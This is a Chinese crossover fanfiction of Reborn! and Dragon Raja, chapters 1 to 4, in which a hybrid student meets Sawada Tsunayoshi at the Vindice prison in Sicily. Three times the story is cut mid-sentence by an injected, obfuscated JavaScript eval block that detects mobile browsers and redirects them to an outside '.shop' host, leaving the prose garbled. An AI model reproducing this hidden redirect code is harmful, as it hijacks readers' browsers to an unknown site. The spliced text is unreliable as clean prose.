《[家教+龙族]尼伯龙根之歌》 1. 第1章 西西里岛 从罗马飞西西里岛只要一小时出头,所以艾莎谨慎的选择了轮渡。 这意味着她至少多出了13个小时来躲避学院的夺命连环call。 两个月前,人类与龙族间的争斗迎来了彻底的终结。过程很惨烈,但最终人类方战力保存良好,对很多人来说都算是个完满的happyending。 战争结束后,秘党决定对参战人员进行大规模的心理疏导。 艾莎对此很不屑,比起华而不实的心理疏导,她更希望那些老家伙们关注些更加实际的问题。 比如学院毕业生的就职再分配。 再比如为什么她作为参战主力之一,仍然需要纠结能不能成功毕业这个问题。 电脑屏幕上《尝试解构血之哀,结合人类学与龙族家族谱系分析》几个大字来来回回的被打出来又删去。 这是艾莎大一新生时期选的“龙族历史”的结课论文。 当时她选这门完全是因为听说主课的古德里安副教授心地善良从不点名,最后只要随便交篇小论文就给过。 古德里安副教授在学期中时就给出了“血之哀”这个题目。 但那时正值艾莎迷上日本大河剧,一直到ddl前一天她才想起来自己还有篇小论文要写。 ——血之哀,俗称孤独感,指龙族混血种在成长过程中必定会拥有的一种心理状态。且与血统等级成正比。 这种心理只有在与同类交往时才能消除,所以龙族血裔总是会自然而然的聚集在一起。 当时的艾莎对着课本纠结半天,最后老老实实的写道: “老实说,我从未体会过什么‘血之哀’。可以的话我希望永远一个人待着。给我三餐和水还有一根网线,我能在宿舍待到世界末日。” 亲爱的古德利安副教授读到她的作业,叹了口气写了评语: “Dear艾莎,答应我去心理部做一次心理辅导好么?P.S.离芬格尔远一点,我们不需要他再带坏另一个宝贵的S级了。” 然后他大笔一挥,艾莎就成了第一个在“龙族历史”挂科的倒霉蛋。 卡塞尔学院传统,挂科后学生可以自由选择补考时间。理论上只要大四毕业前清课就行。 艾莎就一直拖延到了大四。 然后最终决战爆发了;再然后秘党获得了最终的胜利;再再然后医院里怅然若失等待心理疏导的艾莎收到了学院邮件:“请尽快提交‘龙族历史’的结课论文,或在6月前提交延毕申请……” 吓得她当夜就连滚带爬的逃回了欧洲。 她绝没有因为既不想写论文又不想延毕而惊慌失措的试图人间蒸发。 艾莎想。 ——她只是无法在一片其乐融融的北美完成这篇论文。 那实在太可怕了,除了她以外所有人都在庆祝胜利和毕业。 “我们即将在10分钟后抵达巴勒莫……” 这时,狭小的船舱里响起了广播。头两遍是意大利语,后一遍是带点意大利口音的英语。 艾莎阖上自己的笔记本电脑,颇为愁苦的长舒了一口气。 -- 巴勒莫港位于西西里岛西北岸,是主要的客运港口之一,来往繁华。 地中海的气候温暖而潮湿,刚下船,迎面而来的海风就将艾莎的郁结吹飞到了脑后。 取而代之的是一种重度拖延患者才能懂得的迷之自信。 ——现在才4月初不是么,她一定可以在月底前把这篇该死的论文磨出来。 一切都来得及。 感谢西西里,艾莎又变得乐观起来。 她先在港口的小摊贩那儿饱餐一顿,然后开始干正事。 出于某些原因她没有开手机,而是采用了最原始的方式,对照着邀请函上的地址一路打听了过去。 “就是这儿了,文迪凯特许街44号、44号……” 艾莎从港口一路寻到了旧城区,又找到了对应街道。奇怪的是,她顺利找到了43号和45号,可它们中间却只有一大片灰色的砖瓦墙,44号不翼而飞。 周围并没有人可以询问。艾莎决定自己再找一会儿,也许是街区规划的问题?毕竟意大利人出了名的懒惰和不靠谱不是么…… 然而一小时后,艾莎无功而返。 刚才她到了几个街区之外才又遇见人。旧城区的居民英语普遍不好,问了好几个也只是向她指了文迪凯许特街的方向,而对神秘的44号一无所知。 艾莎在灰色的砖瓦墙前发愣。她隐隐觉得有哪里不对——明明几个街区外就是繁华的市集,可这条街上居然空无一人。 甚至待久了,方才还暖洋洋照在身上的阳光也变得冰冷起来。 就在艾莎若有所思的时候,一辆灰色宾利悄然驶入了街道,远远的从车上下来一男一女。 走在前面的男人穿着尤为正式的西服套装,看得出来是价格不菲的私人订制。他一头褐发,长得瘦且高,目测有一米八以上。 而跟在后面的女人在对比下显得十分娇小,她也穿着西服,并始终与男人保持着两三步的距离。 看到艾莎,他们很明显的愣了一下,但并未停止脚步。而艾莎也悄悄松了口气,迎着他们的方向小跑过来。 等近了她才惊讶的发现,面前的男女都是东方人长相。 “Heyguys,how’sitgoing?”因为看到二人年纪都不大,所以艾莎毫不犹豫的使用了轻松且自来熟的打招呼方式。 对面的男女闻声交换了一个有些苦恼的眼神。接着男人开口询问道:“Tourist?” 他唇边团着抹和善的笑,看上去温文尔雅,且很真诚。艾莎觉得刚才的那股阴寒莫名消散了,街道上的阳光又有了温度。 这个人绝对是个好人,或者说他有着百分百让人觉得他是个好人的好本领。她默默在心里想。 “Nope.I’mlookingforthisplace...”艾莎掏出了邀请函。 一看到邀请函,男人便敛了笑意。他眉心微皱,然而尽管严肃,却仍保持着一种礼貌的风度。 征得艾莎的同意后,他接过邀请函,放在手中反复查看了一番。接着,他又将它递给了身后的女人。 他们开始交谈,说的不是意大利语,而似乎是日语。 艾莎耐心的等待着。她已察觉到这条街道有些古怪,也许这封邀请函也并不简单。她决定暂时相信面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658760|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的男女——至少他们看起来比她知道的要多些。 等到他们的交谈告一段落,艾莎才主动用日语问道:“你们是日本人?” 听到她会说日语,男人在松了口气的同时似乎又有些惊讶。 艾莎十分能理解他,毕竟欧洲这地界要找到对亚洲文化感兴趣的都很难,会说日语的更是凤毛麟角。 她露出一个有点不好意思的笑容:“我很喜欢日本漫画,特别是火影忍者。但我日语说的不好。” 男人闻言笑起来,轻轻说了句他也很喜欢。艾莎感到先前他们之间那种陌生人的屏障感消弭了一些。 在他身后的女人也微笑了一下,但很快她的脸上又浮现出某种忧虑与忧伤夹杂的表情来。 接着他们交换了名字,艾莎得知男人名叫沢田纲吉,而女人是他的同事,名叫库洛姆。二人来此是因为工作。 同时,沢田也向艾莎询问了她的来意。 这没有隐瞒的必要,艾莎表现得非常坦荡——她是美国某私立大学的大四学生,于一周前收到这封邀请函,上面说她祖上在西西里岛寄放了东西,现在寄存时间到期,邀她今天来取。 艾莎并没有因为沢田纲吉的套话而心生不快。相反,他问的越详细,她就越确信他知道这条街道的神秘之处。 但也许是她回答的过于坦荡了,沢田与库洛姆再度交换了一个苦笑般的眼神:“所以……艾莎小姐在接到信件后,就直接过来了?” 他说的很委婉,艾莎在不假思索的点头后才发现不对——确实,这种事在普通人看来应该更像是诈骗或者恶作剧? 但一百多年前正值秘党最活跃的时候,并且派系斗争不断。如果她家祖上真因为某种原因将什么炼金武器或者龙族遗物寄放在了西西里岛,那么前往回收是绝对必要的。 并且这封邀请函是直接寄到了她家祖宅,考虑到寄存物是私人藏品的可能性,也就不方便交给执行部处理…… 当然了,这些考量是无法对沢田和库洛姆两个普通人和盘托出的。艾莎不动声色道:“因为说是一百多年前的东西,我在想会不会是什么古董。所以才来碰碰运气。” 她现在穿着休闲的卫衣和牛仔裤,背一个老旧的书包,看上去的确很像是个临近毕业发愁生计且没心没肺的大学生。 “你们是这家物品寄存公司的工作人员吗?”艾莎问道。 听到物品寄存公司这个形容,沢田嘴角抽动了一下,库洛姆亦是神情微妙。 “不,事实上……”沢田纲吉边说边苦笑着取出一件信函。“我收到了同样的邀请函。” 沢田手中的邀请函与她的形制完全相同。只不过他的是用意大利文写成,而艾莎的则是德文。 “看来我们的目的地是一样的,太好啦!”她脸上笑容不变,继续问道:“那你们知道这家公司的具体地址吗?我在这里找了半天,也没找到44号。” 沢田纲吉和库洛姆不着痕迹的打量着艾莎。 很奇怪,艾莎没从他们的神色里感觉到多少审视,他们看上去都忧心忡忡,简直像是在为她担忧似的。 然而很快,沢田便收敛了目光。他脸上的笑容仍然很温和:“……当然,请跟我来,艾莎小姐。” 2. 第2章 复仇者 艾莎跟着沢田与库洛姆回到了那片暗灰色的砖墙面前。 “Boss,是这里。”库洛姆凝神片刻,然后将目光投向了某块石砖。 哪里? 艾莎还在云里雾里,就见沢田纲吉曲起手指,在某块石砖上轻轻敲击了三下。 紧接着,灰色的石砖就像活了一样,开始一块一块的往里缩进。 “Cool!”短暂的惊讶后,艾莎吹了声口哨。 如果不是不能开手机,她真想把眼前的场景录下来放给装备部的那帮疯子们看。 那群技术宅个个声称是《哈利·波特》的铁杆粉丝——可是看看吧,在他们每周开一次hp电影马拉松的时候,民间已经悄悄出现对角巷的复刻版本啦。 比起正天马行空的艾莎,沢田与库洛姆则显得更加严肃。 库洛姆戒备的盯着正活动的砖块,就好像里面随时会蹦出什么怪物一样。 不一会儿,一扇巨大的黑色铁门凭空出现在三人面前。大门旁边有着银质的门牌号,上面赫然标着“文迪凯特许街44号”。 虽然门已经出现,但是沢田与库洛姆都没有动。 “我们进去吗?”艾莎问道。 “……不,有‘人’来接我们。”沢田低低的说。 他先是侧过头,担忧的看了一眼库洛姆,接着便上前一步,将她与艾莎一起挡在了身后。 库洛姆的身体正微微颤抖着。 可怜的女孩。 虽然她看上去和艾莎年龄差不多,但艾莎却觉得库洛姆有种惹人爱怜的气质。 周围的温度似乎在慢慢下降。不知何时起,他们四周出现了灰白色的雾气。以4月的意大利南部来说,这种浓雾简直可以用异象来形容了。 艾莎也盯着那扇黑色的大门,她听见金属碰撞的声音——锁链声? 锁链声由远及近。 “来了。”库洛姆突然低声道,她的手在胸前微微握拳。 话音刚落,便响起了“吱呀——”的一声。 巨大的铁门在他们面前缓缓洞开,更多的浓雾自门中涌出。 一个穿着破破烂烂的黑色大衣、头缠绷带的“人”出现在门后。 他生得奇高无比,竟比沢田足足要高出两个头。绷带将他的整张脸都缠住了,不给人留一点窥探的余地。 艾莎感到他的目光机械的掠过自己,最终在沢田纲吉身上定格。 “……彭格列,欢迎来到,复仇者监狱。”他这么缓缓说道。 -- 在检查完他们的邀请函后,绷带男便让出了道路。 沢田纲吉并没有立即进入大门,而是先回身确认了艾莎的状态。 “艾莎小姐,待会儿请跟在我身后。”他的声音温和而沉稳,“我会保护你,什么也不用担心。” 他唇边绽出一个温暖的笑,并用坚定的目光注视着艾莎。 此情此景,艾莎觉得如果自己是个普通人,那么一定会爱上沢田并当场向他求婚。 “好的。”艾莎回以他一个信任的微笑。 沢田接着看向了库洛姆。 方才还因紧张而颤抖的女孩不知何时已镇定下来。她与沢田纲吉对视,目光无比坚定。 沢田朝她微微点头。 他们三人跟着复仇者穿过了长长的、漆黑的甬道。 最开始明明还是室内走廊的感觉,可走到一半,艾莎却莫名的听见了水滴滴落岩面的声音,地面变得湿滑,且伴有一股洞穴特有的潮湿气息。 是人工搭建景观么?艾莎默默盘算着。 在现代科技的辅助下,于室内模拟自然景观也不是什么难事。比如学院的冰窖,为了满足校长个人的收藏癖好,装备部甚至做出了一层海底世界叠上一层沙漠金字塔那样的鬼畜设计。 又或者是传说中的幻术? 以前她曾听执行部的师姐说过,在印度的瑞诗凯诗,有修习精深的瑜伽大师可以仅凭肢体动作让人产生幻觉,如堕梦中。 可普通人是无法对龙族混血种施加幻术的。 二者间的精神力差距就像天与地。在黄金瞳面前,一切幻觉都无所遁形。 艾莎心中冒出了一个又一个关于此地的猜测,它们无一不需要极高的科技或秘党的秘术加持。 好在她并不具备多少科研精神。如果现在在这里的人是古德里安,那么几分钟的路程也许需要几个小时才能走完。 差不多五分钟后,他们的前方出现了一闪一闪的亮光,应是出口。 而这时他们已经完全身处洞穴的环境中了。 坡道开始变陡,走在最前面的沢田体贴的对身后的二位女士施以援手。 等出了洞口,看着周围景色,他们三人一时皆是默然不语。 这是沢田纲吉第一次真正到访复仇者监狱。 他们身处一处不大的悬崖,约莫可以同时容纳四、五人站立。 除了来时的洞穴外,悬崖三面环海,一望无际。天空被浓云遮蔽,无数闪电直直自头顶劈下,发出骇人的光彩来。 沢田有幸在某次拍卖会上见过约翰马丁的画作。这位19世纪的天才画家以描绘宏伟奇诡的自然景象著称,在他笔下人类对洪水与飓风无能为力。看过他的作品会让人觉得《圣经》里描述的世界末日是真实存在的。 眼前景象正是对约翰马丁作品的完美复刻。 可这个地方偏偏没有声音。 四周静得可怕,也压抑得可怕。 海浪激昂的拍打着礁石,却没有发出一丝一毫的声音; 闪电在浓密的云层间翻滚,好像藏在暗处不怀好意的蛇。 ——它们无比生动,同时它们是死的。 如果长久的待在这样的环境里,恐怕会连呼吸都遗忘掉吧。 沢田纲吉垂下眼帘。 短暂的沉默后他终于想起同行者里还有一位从未涉足Mafia世界的女大学生。 再怎么大胆也是笃信科学的普通人,看到这幅场景恐怕要三观尽碎了。 虽然不知道为什么复仇者要将一个无辜的普通人牵扯进来,但他仍衷心希望艾莎在今日过后能安然回到原本的世界中去。 想到这儿,他便欲出言关慰一番,此时却恰好听见名为艾莎的漂亮女孩正喃喃低语:“本来还以为会到对角巷,没想到是阿兹卡班。上帝啊,我的祖先一定很恨我……” 沢田:“……” 为什么这种时候第一反应是吐槽祖宗啊喂! 他莫名联想到了自家那位常令人胸口一窒的雨守。前几天阿武还主张举办“Mafia游戏进行十周年”的庆祝活动不是么,总觉得他和艾莎小姐会很合得来…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658761|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳,沢田纲吉及时的止住了思绪。 他将目光投向一旁静静伫立的复仇者:“那么,信函中所说的东西在哪里?” 这位年轻的Mafia教父表现得礼貌而冷淡。 “……看向前方吧,彭格列。” 复仇者意味深长的说。同时他伸出手臂,指向了正前方。 随着他的动作,一块块硕大的岩石陆续自海中升起,并自动铺成了平坦的道路。 按照来时的顺序,艾莎第二个走了上去。 库洛姆刚想跟上,却被复仇者拦住了。 “只有拿到邀请函的二位。”复仇者道。 “库洛姆,”沢田道,“等在这里。” “是,boss!”库洛姆冲他微微点头。 -- 这条路看上去漫无边际,可事实上十分钟不到就到了尽头。 尽头是一栋漆黑的小房子,门口的灯闪烁着幽幽的绿光。 “你们只有一个营业柜台?”艾莎皱眉。 所以你还把这里当做物品寄存公司是么!? 沢田纲吉嘴角微微抽搐。 见绷带男并不理会自己,艾莎便侧身询问一旁的沢田:“那么,沢、沢…” 日本人的姓氏发音很难记,艾莎一时忘了是“Sadawa”还是“Awada”。“纲吉”的发音倒是好记,《大奥》里的种马将军嘛。 她卡了一下索性道:“…纲吉君,你先还是我先?” 在日文中,以名加“君”是过于亲密的叫法。沢田愣了一下。 但现在并不是纠结这个的时候,他斟酌道:“我想我们需要一起进去。” 艾莎委婉道:“也许我们需要尊重彼此的隐私?” 这一路走过来,她觉得一百年前先祖寄存在这儿的恐怕不是什么寻常玩意儿。 事实上艾莎已经在想象贤者之石或者七宗罪那样能屠杀初代种的东西了。 她当然也知道作为这鬼地方的客户,沢田身份一定非同一般。 可他到底是非混血种,不需要掺和进秘党的事情中来。 “艾莎小姐,我想你误会了。”年轻的教父迅速明白了艾莎的意思,他牵起一个无奈的微笑,“我们要取的是同一件东西。” “诶?”艾莎瞪大眼睛,十分“日式”的表达了自己的震惊。 这时一旁的复仇者冷冷补刀:“信函中写得很清楚。” “可你们用的是德语!”反应过来后她忿忿道:“如果你们足够专业就该知道我从小在美国接受中文教育,虽然国籍是德国但我只会几个德语单词!” 这句话槽点也太多了!你一个德国人为什么会在美国接受中文教育啊喂! 沢田在心里疯狂吐槽。 但他不觉得在这儿拖延是件坏事,如果考虑到今天到这儿来的另一个目的的话。 所以沢田纲吉只是微笑着落井下石:“没想到复仇者也有考虑不周的时候。” 复仇者:“……” 他还能怎么办,只能深沉的缓缓走到门前,替他们打开了门。 沢田与艾莎进房间的时候还在闲聊。 “那么艾莎小姐是怎么通过邀请函找到这里的?” “当然是万能google翻译!很好用!” 复仇者:“……” 3. 第3章 死气之火 大约1小时后,库洛姆看到了艾莎和沢田纲吉一前一后归来的身影。 两个人都神情微妙、若有所思; ——两个人都空着手。 “Boss…?”库洛姆露出了疑惑的表情。 沢田没有开口解释,只是微微摇了摇头。 等艾莎和沢田走回悬崖上后,复仇者冷冷道:“请在一个月内回到这里。如果逾期,寄存物品将由我们自行销毁。” 他说话间,那条岩石铺成的路又一块一块的重新沉没回了海底。 到最后,复仇者的身躯凌空悬于海与天空之间,搭配着那幅世界末日的背景,气势高高在上,宛如古神。 艾莎面无表情:“如果你这么做,我会正式向意大利的法院起诉你们。” 沢田:“……” 库洛姆:“……” 复仇者:“……” 复仇者顿了一下,然后快速转身,一步步消失在了他们的视野里。 库洛姆不是多话的人,艾莎和沢田则都各有思量。 因此回程时一路无话。 回到文迪凯特许街上后,他们三个不约而同的舒了口气。 而等回头再看时,背后那扇漆黑的大门已悄然消失,重新变回了单调的灰黑色砖墙。 沢田与库洛姆简单的用意大利语交谈了几句话。 而后库洛姆冲艾莎礼节性的点头致意一下,便独自离开了。 原地只留下艾莎与沢田纲吉面面相觑,两个人一时都不知怎么开口。 他们没能成功取到百年前寄存的东西,因为缺乏某个条件。 但此行也并非毫无收获,现在他们至少知道了寄存的东西是什么—— 【15分钟前】 沢田纲吉默默旁观着艾莎与复仇者的争论。 不,与其说争论,倒不如说是女孩单方面的语言输出。 在得知他们无法获得寄存的物品后,艾莎并未放弃,而是立即尝试交涉。 复仇者一开始当然是不动如山,然而这种淡定只维持到艾莎发现他其实精通多国语言的那一刻。 这个德国姑娘冷笑一声,当即熟练的切换成了中文。 即使听不懂她在说什么,沢田也能明显感觉到她的中文水平比之日语要高深的多。 只见她上下嘴皮开开合合,吐出的语句有韵律得像是在唱歌。 沢田纲吉毫不怀疑她正引经据典据理力争,并且说到激昂处她好像还试图挥舞着手臂扑到复仇者面前去解他脸上的绷带…… 以前听风说,中国有个成语叫“铁齿钢牙”,这大概说得就是此刻艾莎这样的气势吧。 沢田默默看了看表——原本他预计为库洛姆争取15分钟的时间,可多亏艾莎,现在已经不费吹灰之力的过去40分钟了。 【…那么我想,我至少有权力知道我的先祖在贵司存放了什么东西。】 艾莎冷冷道。 沢田纲吉听不懂这句话,但他能看出他们的谈话暂时告一段落了。 “……是指环。” 对面的复仇者沉默一会儿道。这句他用的是日语。 “首饰?” 艾莎眉头一皱,这个答案在她意料之外。 可看到身旁的沢田神色一凛,她立即猜测也许“指环”这个词有别的意义。 “请在一个月内取得领取的资格。” 复仇者最终这么说道。 指环。戒指。珠宝。 圆环。刻字。信息。 文迪凯特许街道上,艾莎尝试使用联想法,可在现有信息下她很难作出进一步的判断。 这时,她身旁的沢田主动道:“艾莎小姐,我们可以谈谈么?” 艾莎抬眼看他——沢田对那东西的兴趣应该比她更大,掌握的情报也明显更多。 可他却并未展露出丝毫急切或强硬的态度。 他的目光仍然是温和而善意的,像在告诉她他会尊重她的一切决定。 ——在明显占上风的情况下,沢田居然主动让出了主导权。 艾莎毫不怀疑,如果她告诉沢田她想放弃领取并即刻离开西西里岛,他也不会采取任何措施挽留她,说不定还会帮她把回去的机票买好…… “好的。”她微微颔首,“我们找个能坐下来说话的地方可以吗?我有点饿了。” 听到她的应允,沢田眼中闪过一丝复杂情绪,像是欣喜,又像是忧虑。 -- 沢田带艾莎去了老城区不远处的一家餐厅。 餐厅装饰的颇有热带风格,敞篷吊顶式的半开放结构,座位与座位间摆放着盛开的龟背竹。 老板热情的招呼了他们,并用意大利语盛赞沢田找了一位如此漂亮的约会对象。 “他在说什么?”艾莎一边冲老板微笑一边悄悄询问沢田。 沢田纲吉微红着脸勉强应付过老板,然后对着艾莎睁眼说瞎话:“他说强烈推荐他们家的墨鱼汁海鲜烩饭。” “你常来这家店?” 沢田纲吉与老板的互动看上去很熟稔。 “算是吧。”沢田想了想,又补充道,“最开始只是偶然来了一次。但是在去过的店点单会比较方便,久而久之就变成了常客。” 他说的是内向型人格才能领会的事——独自走进一家新餐馆所需的勇气和心理建设不会比从2000米的高空跳伞逊色多少。 这样的事,艾莎小姐这样的人恐怕是不会懂的。 沢田正想着要不要作进一步解释,却见艾莎一脸深以为然如遇知音:“我懂我懂。” 她说话时身体微微凑近,像在小声的分享秘密。 随着动作,一缕黑发自她耳后自然而然的垂落至胸前。 沢田纲吉下意识的错开了视线。 老板在点完单后便离开了。除却旅游景点,意大利餐馆的出餐速度都不快,不过这也正好方便艾莎与沢田谈正事。 短暂的静默后,艾莎率先道:“真神奇,明明几小时前我们还完全不认识,现在却像朋友一样坐在一起吃饭了。” 她知道,正式话题开始前总是需要一点小小的引入的。 沢田领会了她的意思,微微苦笑道:“我想,艾莎小姐现在大概有很多想问的问题?” “唔……”艾莎想了想,然后干脆利落的伸出了两根手指头,“其实我现在只想问两个问题!” “一,那个绷带男口中的、领取寄存物品所必须的‘死气之火’是什么?” “二,我有可能在一个月内,呃、怎么说,点燃这个叫死气之火的东西么?” 相当精准的抓住了核心问题啊…… 沢田纲吉在心里暗暗叹息——他真希望自己可以简短的回答这两个问题,这样就不必将一个普通人强行拖入Mafia的世界。 可即使是他,也知道这是不可能的事。 死气之火、指环、复仇者,每一样都已与Mafia牵扯得太深。 沢田又露出那种苦恼的表情了。 见状,艾莎笑道:“不过我猜这两个问题并没有那么好回答。我觉得我们可以从简单点儿的事情开始——比如,纲吉君和库洛姆应该都拥有死气之火?” 沢田点了点头,“是的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658762|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 猝不及防听到“纲吉君”这个称呼,他觉得脸上一热。 “我以前从来没有听说过‘死气之火’这个东西。所以我猜有关它的知识被人为的限制在了特定的群体之间。而纲吉君和库洛姆就属于这个群体。”艾莎思索一下,缓缓道。 沢田惊讶的看着她。 艾莎耸耸肩:“我大一时选修了神秘学。主课的教授向我们描绘过人类认知的有限——现在我们崇尚科学,就如同中世纪时的人们敬畏神学。可人类很渺小,世界却很大,总有些东西是神学或科学解释不了的。” 她垂下眼帘,右手手指在咖啡杯边沿虚虚的画圈:“当时他说,至少我们心里要容许这种可能性的存在。这样即使哪天亲眼见到了,也不至于san值狂掉。” San值狂掉……真是出戏又贴切的形容。 沢田纲吉汗颜。听前面他原本脑补了一个循循善诱思想开阔的老教授形象,可现在看来这位教授不止开阔还很跳脱。 “所以我猜,死气之火就属于这种大众认知以外的东西。而掌握死气之火、或者说知道它的存在,就意味着……要进入一个全新的世界。”艾莎低声道。 她想起很多年以前的雨夜。古老的庄园一片沉寂,男人在她面前骤然揭下3米高的帷幕。窗外雷雨大作,闪电将那幅巨型油画割裂成明与暗的两部分。那半朽的世界树掩藏在暗色中几不可见,黑皇尼德霍格巨大的身躯却被照亮。它正振翅怒吼,双翼上挂满了骷髅。 “…莎小姐?艾莎小姐?” 艾莎回神,发现沢田正担忧的看着她。 “啊,抱歉,”她赶紧拍拍脸,“一不小心沉浸在自己的世界里了。” 沢田纲吉:“……” “刚说到哪儿来着…哦,全新的世界。”艾莎道,“可现代社会不大可能有完全隐匿的群体。除非是住在地底下,但地底人可穿不起西装开不起宾利——纲吉君在人类社会应该是有身份的。我是指,我所能理解的身份。” “的确如此,艾莎小姐很聪明,也很敏锐。”沢田纲吉流露出了由衷的钦佩,接着他眼中闪过一丝挣扎,最终却坚定的注视着艾莎。 “我是……”他缓缓启唇。 艾莎也紧张的盯着他。 “…Mafia。”沢田纲吉闭了闭眼,然后又重复了一遍,“我是Mafia。” “嗯嗯,那么在里世界你是什么呢?”艾莎严肃道。 沢田纲吉一呆:“……诶?” 什、什么里世界? 艾莎耐心道:“在人类社会,你是Mafia;那么在里世界,你的身份是什么呢?” 善用火的种族啊……艾莎脑中飞快的闪过了蜥蜴人和火星人。 再一次的,沢田纲吉:“……诶?” 他感到刚才还进展得非常顺利的对话在此刻产生了巨大的分歧。 感谢Reborn多年以来锲而不舍的教导,年轻的教父在理解和交流问题这方面被锻炼得反应超快。 “艾莎小姐……”沢田吞了口口水,向对面凑近了一点,“莫非认为我不是人类?” “不不不,我的意思是,”艾莎也向前凑了一点,声音压得低低的,“你是纯种人类么?” 他们凑得很近,彼此额发几乎相触。 他们看着彼此,神色认真而严肃。 一秒钟、两秒钟、三秒钟…… “……诶?”艾莎终于反应过来了,沢田的意思难道是Mafia就是他里世界的身份么!? 她震惊的看着沢田,后者哭笑不得的回望她。 “诶诶诶?!” 4. 第4章 “普通日子” “对、对不起!!!” 艾莎以头抢桌,整整半分钟都没能把头抬起来。 这的确是她的失误。因为混血种是以血传承的群体,所以就想当然的认为沢田也是某种新型变种人什么的—— 艾莎的脸被黑色的长发遮掩住了,从沢田纲吉的角度只能看到她变成淡粉色的耳朵。 “没、没关系。”他慌忙摆手,“是我自己没说清楚。刚才艾莎小姐推理的样子太精彩了所以一时看呆了,啊不我没有责怪艾莎小姐的意思——我是说——” 他也不知怎的,竟一阵久违的手忙脚乱。 远处,坐在吧台的餐厅老板一脸姨母笑的看着这对年轻男女。 “……不过真是太好了,”艾莎还维持着埋头的动作,“差点以为会被告知自己其实还有蜥蜴人血统什么的——纲吉君是普通人类真的太好了。” 为什么这里会突然出现蜥蜴人!?她刚刚究竟擅自把他脑补成了什么啊喂! 自从踏入黑暗世界后,沢田心里那台自动吐槽机就进入了休眠状态。 但现在他感到它又重新启动了。 之后过了好一会儿,二人终于又搭上了脑电波。 “也就是说,‘死气之火’是Mafia特有的一种能力,用于战斗,且已构成完整体系。唔,原来如此,就像某种秘术,以组织的形式来传承么……”艾莎轻声嘟哝着。 严格来说,也不能算作是完全的以组织传承。 沢田记得血统才是成为彭格列家族首领候补的首要条件,Xanxus就是因此而被大空指环拒绝。可是对于其他守护者来说,血缘与传承似乎又没有关系。 这么一想,死气之火与血统以及Mafia的关系真是扑朔迷离…… 不对,现在不是想这些的时候。 沢田纲吉摇了摇头,复又无奈提醒道:“艾莎小姐,在正式进入死气之火的讨论以前,你是不是忘了对某件事做出反应?” “啊?”艾莎抬起头,一脸茫然。 果然…… 沢田轻叹一声,道:“我是说,关于我是Mafia的事。” 他严肃的看着艾莎,为她指出其中的利害关系。 “点燃死气之火,就等同于踏入Mafia的领域。即使不正式加入某个家族,也意味着要和Mafia扯上关系,很难回到正常的生活中去。” “这样真的好吗?和我这样的Mafia扯上关系。” “我希望艾莎小姐可以认真考虑一番。” 然而艾莎听完只思索了几秒钟:“嗯……我没关系啊。” “艾莎小姐……”沢田第一次表现出了明显的不赞同,为她看似轻率的态度。 坐在对面的青年目光灼灼,满心满眼的在为她认真考虑。而这样做他根本得不到任何好处。 艾莎有点苦恼——面对绷带男那样不讲理的营业员她可以慷慨陈词;面对怀有恶意的敌人她可以慨然拔出刀剑; 可唯独面对沢田这样全然的好意,她觉得自己笨拙得舌头都要打结了。 “……我和纲吉君不一样,没办法看到未来那么长远的事。”艾莎有点不好意思的挠挠头,最终决定实话实说,“用我师兄的话来说,我和他一样都是半吊子。半吊子只看得到眼前。所以我也只能用眼下的感觉来回答。” 沢田看出她正努力组织语言,于是耐心的等待着。 “嗯……我鄙视一切伤害老弱妇孺的行为或产业链。但老实说,我的道德洁癖也没严重到对一切黑暗一棍子打死的程度。”艾莎斟酌着说道。 别看秘党平时衣冠楚楚人模狗样,私底下也干倒卖文物这样的灰色事业。其他混血种更不例外……艾莎知道他们每年定期在芝加哥举行拍卖。 而艾莎本人也曾在日本与□□的皇帝并肩作战。 她二师兄还拐了□□小公主回家呢。 “有光就有影,那影子也还分深浅浓淡呢……所以我想Mafia里也会有不错的家伙。”想到故人,艾莎纠结的眉眼变得舒展开来。她觉得她终于在纷杂的思绪中找到了出口。 Mafia与蛇岐八家不也差不离么?可象龟和绘梨衣都是很好很好的人,艾莎从不后悔与他们认识。 ——没错,这和是混血种还是普通人没关系,只是单纯的,为“人”的准则罢了。 “认识不错的家伙本来就是件不错的事,看见欺凌弱小的人也本来就应该勇敢制止。这是我活在世上的信条,而这些都和Mafia的身份没关系。”她耸耸肩。 当然了最完美的情况是既不遇到好人也不遇到坏人,每天打打游戏看看闲书,就连点的外卖都由机器人送上来。 可眼下不适合说这种烂话,她又不是二师兄。 “结识Mafia也许会遇到危险,但我制止小偷在许愿喷泉偷游客钱包也一样有危险,哪怕坐过山车也有碰见事故的概率。”艾莎道。“做任何事都有风险,考虑太多反而会错过机会。” 她托着下巴,思绪逡巡一圈,最后冲沢田露出一个蛮不在乎的笑: “况且如果是纲吉君这样的Mafia,我完全不介意扯上关系啊。” 毕竟沢田一看就是好人嘛。 